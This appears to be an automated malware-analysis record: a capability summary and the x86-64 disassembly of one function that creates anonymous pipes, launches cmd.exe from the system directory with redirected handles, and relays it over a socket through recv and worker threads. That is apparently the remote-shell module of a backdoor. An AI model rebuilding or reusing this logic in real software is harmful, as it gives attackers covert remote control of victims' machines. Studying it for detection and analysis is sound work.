Function at 0x180002a50
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create thread
Create two anonymous pipes
Execute shell command and capture output
Get common file path

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
push r13
push r14
lea rbp, [rax - 0x158]
sub rsp, 0x230
mov qword [rbp - 0x70], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rax, qword [0x1800241e0]
xor rax, rsp
mov qword [rbp + 0x120], rax
mov r8, rdx
mov rbx, rcx
mov qword [rbp - 0x78], rcx
lea rax, vtable.CManager.0
mov qword [rcx], rax
mov qword [rcx + 8], rdx
mov rax, qword [rdx]
mov rdx, rcx
mov rcx, r8
call qword [rax + 0x18]
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rbx + 0x10], rax
lea rax, vtable.CShellManager.0
mov qword [rbx], rax
xor eax, eax
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x80], rax
xor r14d, r14d
mov dword [rbp - 0x60], r14d
xor edx, edx
lea r8d, [rax + 0x60]
lea rcx, [rbp - 0x58]
call fcn.18000bd70
mov qword [rsp + 0x58], r14
xor eax, eax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov byte [rbp + 0x10], al
xor edx, edx
mov r8d, 0x103
lea rcx, [rbp + 0x11]
call fcn.18000bd70
mov qword [rbx + 0x128], r14
mov qword [rbx + 0x130], r14
mov qword [rbx + 0x138], r14
mov qword [rbx + 0x140], r14
mov dword [rsp + 0x70], 0x18
mov qword [rsp + 0x78], r14
mov dword [rbp - 0x80], 1
xor r9d, r9d
lea r8, [rsp + 0x70]
lea rdx, [rbx + 0x140]
lea rcx, [rbx + 0x128]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x180002b91
mov rcx, qword [rbx + 0x128]
test rcx, rcx
je 0x180002b76
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x140]
test rcx, rcx
je 0x180002d6f
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180002d6f
xor r9d, r9d
lea r8, [rsp + 0x70]
lea rdx, [rbx + 0x130]
lea rcx, [rbx + 0x138]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x180002bde
mov rcx, qword [rbx + 0x130]
test rcx, rcx
je 0x180002bc3
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x138]
test rcx, rcx
je 0x180002d6f
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180002d6f
xor edx, edx
lea r8d, [rdx + 0x68]
lea rcx, [rbp - 0x60]
call fcn.18000bd70
xor r11d, r11d
mov qword [rsp + 0x58], r11
mov qword [rsp + 0x60], r11
mov qword [rsp + 0x68], r11
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov dword [rbp - 0x60], 0x68
mov word [rbp - 0x20], r14w
mov dword [rbp - 0x24], 0x101
mov rax, qword [rbx + 0x138]
mov qword [rbp - 0x10], rax
mov rax, qword [rbx + 0x140]
mov qword [rbp], rax
mov qword [rbp - 8], rax
mov edx, 0x104
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea r8, str.cmd.exe
mov edx, 0x104
lea rcx, [rbp + 0x10]
call fcn.18000af84
lea r11, [rsp + 0x58]
mov qword [rsp + 0x48], r11
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x180002cd6
mov rcx, qword [rbx + 0x128]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x130]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x138]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x140]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180002d6f
mov rax, qword [rsp + 0x58]
mov qword [rbx + 0x148], rax
mov rax, qword [rsp + 0x60]
mov qword [rbx + 0x150], rax
mov dword [rbx + 0x168], r14d
mov byte [rsp + 0x50], recv
mov rcx, qword [rbx + 8]
mov rax, qword [rcx]
mov r8d, 1
lea rdx, [rsp + 0x50]
call qword [rax + reloc.WS2_32.dll_recv]
or edx, 0xffffffff
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, 0x96
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
mov r9, rbx
lea r8, [0x180002fd0]
xor edx, edx
xor ecx, ecx
call fcn.18000acf4
mov qword [rbx + 0x158], rax
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
mov r9, rbx
lea r8, [0x180003110]
xor edx, edx
xor ecx, ecx
call fcn.18000acf4
mov qword [rbx + 0x160], rax
mov rax, rbx
mov rcx, qword [rbp + 0x120]
xor rcx, rsp
call fcn.18000a7b0
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rbp
ret